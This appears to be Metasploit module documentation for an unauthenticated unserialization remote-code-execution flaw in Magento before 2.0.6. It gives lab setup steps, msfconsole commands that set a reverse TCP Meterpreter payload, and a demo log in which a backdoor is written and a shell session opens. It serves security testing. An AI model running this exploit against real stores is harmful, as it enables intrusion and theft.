4.9 KiB
4.9 KiB
Magento is a popular open-source e-commerce platform written in PHP. An unserialization vulnerability exists in the product that allows an unauthenticated user to gain arbitrary code execution.
Vulnerable Application
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
For testing purposes, you can download the vulnerable applications here.
Verification Steps
To set up a vulnerable version of Magento, please follow these steps. This is specific to Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
- Set up a Ubuntu box.
- Open a terminal, and enter:
sudo apt-get install apache2 - Enter:
sudo apt-get install php5 - Enter:
sudo a2enmod rewrite - Add the following content to /etc/apache2/sites-enabled/000-default.conf, inside the virtual block:
<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
- Download the vulnerable Magento app
- Extract the compressed file:
tar -xf magento2-2.0.5.tar.gz - Move the files and directories of magento2-2.0.5 to /var/www/html/ (make sure .htaccess is copied too)
- In terminal, enter:
sudo chmod 644 /var/www/html/.htaccess - Enter:
sudo service apache2 restart - Enter:
sudo apt-get install mysql-server-5.6. And follow the installation instructions of MySQL. - Enter:
sudo apt-get install php5-mysql - Enter:
sudo apt-get install php5-mcrypt - Enter:
sudo php5enmod mcrypt - Enter:
sudo apt-get install php5-xsl php5-curl php5-intl - Enter:
sudo service apache2 restart - cd to /var/www/html, enter:
sudo mkdir tmp, and cd to tmp - In tmp, do:
curl -sS https://getcomposer.org/installer | php - Enter:
sudo mv composer /usr/local/bin/composer - In /var/www/html, do:
composer install - You will be asked for a username (public key) and password (private key). You can register for one here: https://marketplace.magento.com/
- Back to terminal, enter:
mysql -h localhost -u root -p[password] - In mysql, enter:
create database magento, and exit - Go to http://localhost with a browser, and install Magento through the web interface.
- After installation, back to Magento directory, and enter:
sudo rm -rf var/cache/* - Enter:
sudo rm -rf var/generation/* - Enter:
sudo rm -rf var/page_cache/* - cd to /var/www/html/bin
- Enter:
sudo php magento deploy:mode:set developer. It should say that you're in developer mode. - Enter:
sudo php magento setup:static-content:deploy - Enter:
sudo php magento indexer:reindex - Enter:
sudo chmod -R 777 /var/www/html - Go to http://localhost, you should see Magento up and running.
- From Magento, log in as admin, and create a product. After creating one, make sure this product
is:
- Either includes a shipping address, or does not have a weight.
- Searchable from the front-end.
If at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update:
- From the terminal, do:
mysql -h localhost -u [username] -p[password] - In the SQL prompt, do:
use [magento database name] - Do:
select * from core_config_data;, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP. - Do:
update core_config_data set value='http://[IP]/' where config_id=2; - Do:
update core_config_data set value='https://[IP]/' where config_id=3; - Back to the Magento directory, do:
sudo rm -rf var/cache/* - Also do:
sudo rm -rf var/generation/* - Also do:
sudo rm -rf var/page_cache/* - Browse to Magento again with the new IP, it should be up and running again.
After setting up Magento, you can use your exploit module:
- Start msfconsole
- Do:
exploit/multi/http/magento_unserialize - Do:
set RHOST [IP] - Do:
set PAYLOAD php/meterpreter/reverse_tcp - Do:
set LHOST [IP] - Do:
exploit - And you should get a session
Demonstration
msf exploit(magento_unserialize) > check
[*] 192.168.1.108:80 The target appears to be vulnerable.
msf exploit(magento_unserialize) > exploit
[*] Started reverse TCP handler on 192.168.1.94:4444
[+] 192.168.1.108:80 - generated a guest cart id
[+] 192.168.1.108:80 - backdoor done!
[*] Sending stage (33721 bytes) to 192.168.1.108
[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500
[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php
meterpreter >